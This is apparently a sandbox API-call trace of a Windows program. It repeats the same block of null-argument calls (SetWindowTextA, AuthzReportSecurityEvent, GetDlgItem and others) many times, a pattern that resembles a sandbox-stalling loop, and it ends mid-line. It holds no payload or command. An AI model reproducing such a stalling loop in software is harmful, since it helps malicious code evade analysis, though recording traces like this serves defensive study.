[0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.475] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.475] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.475] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.475] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.475] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.475] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.475] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.475] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.476] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.476] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.476] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.476] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.476] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.476] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.476] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.476] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.476] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.476] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.477] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.477] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.477] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.477] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.477] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.477] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.477] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.477] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.477] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.477] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.478] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.478] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.478] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.478] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.478] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.478] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.478] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.478] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.478] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.478] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.478] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.479] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.479] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.479] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.479] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.479] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.479] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.479] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.479] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.479] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.479] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.479] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.480] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.480] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.480] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.480] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.480] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.480] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.480] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.480] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.480] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.480] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.480] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.481] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.481] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.481] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.481] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.481] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.481] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.481] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.481] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.481] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.481] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.481] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.481] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.482] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.482] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.482] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.482] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.482] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: 